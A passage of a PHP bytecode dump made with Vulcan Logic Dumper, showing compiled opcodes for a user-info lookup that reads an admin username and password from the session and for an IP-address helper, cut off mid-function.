         13        FETCH_R                      global              ~10     '_SESSION'
         14        FETCH_DIM_R                                      ~11     ~10, 'acp_username'
         15        INIT_ARRAY                                       ~12     ~11
         16        FETCH_R                      global              ~13     '_SESSION'
         17        FETCH_DIM_R                                      ~14     ~13, 'acp_password'
         18        ADD_ARRAY_ELEMENT                                ~12     ~14
         19        SEND_VAL_EX                                              ~12
         20        DO_FCALL                                      0          
  371    21        INIT_METHOD_CALL                                         !3, 'rowCount'
         22        DO_FCALL                                      0  $16     
         23        IS_SMALLER                                               0, $16
         24      > JMPZ                                                     ~17, ->39
  372    25    >   INIT_METHOD_CALL                                         !3, 'fetch'
         26        SEND_VAL_EX                                              5
         27        DO_FCALL                                      0  $18     
         28        ASSIGN                                                   !4, $18
  373    29      > JMPZ                                                     !1, ->36
         30    >   INIT_FCALL                                               'htmlspecialchars'
         31        FETCH_OBJ_R                                      ~20     !4, !0
         32        SEND_VAL                                                 ~20
         33        DO_ICALL                                         $21     
         34        QM_ASSIGN                                        ~22     $21
         35      > JMP                                                      ->38
         36    >   FETCH_OBJ_R                                      ~23     !4, !0
         37        QM_ASSIGN                                        ~22     ~23
         38    > > RETURN                                                   ~22
  377    39    > > RETURN                                                   ''
  378    40*     > RETURN                                                   null

End of function getuserinfo

Function getip:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 7, Position 2 = 11
Branch analysis from position: 7
1 jumps found. (Code = 42) Position 1 = 25
Branch analysis from position: 25
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 11
2 jumps found. (Code = 43) Position 1 = 15, Position 2 = 19
Branch analysis from position: 15
1 jumps found. (Code = 42) Position 1 = 25
Branch analysis from position: 25
Branch analysis from position: 19
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 25
Branch analysis from position: 22
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 25
filename:       /in/Q5nB8
function name:  getIp
number of ops:  27
compiled vars:  !0 = $ip
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  381     0  E >   FETCH_R                      global              ~1      '_SERVER'
          1        FETCH_DIM_R                                      ~2      ~1, 'REMOTE_ADDR'
          2        ASSIGN                                                   !0, ~2
  383     3        FETCH_IS                                         ~4      '_SERVER'
          4        ISSET_ISEMPTY_DIM_

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
176.48 ms | 1422 KiB | 39 Q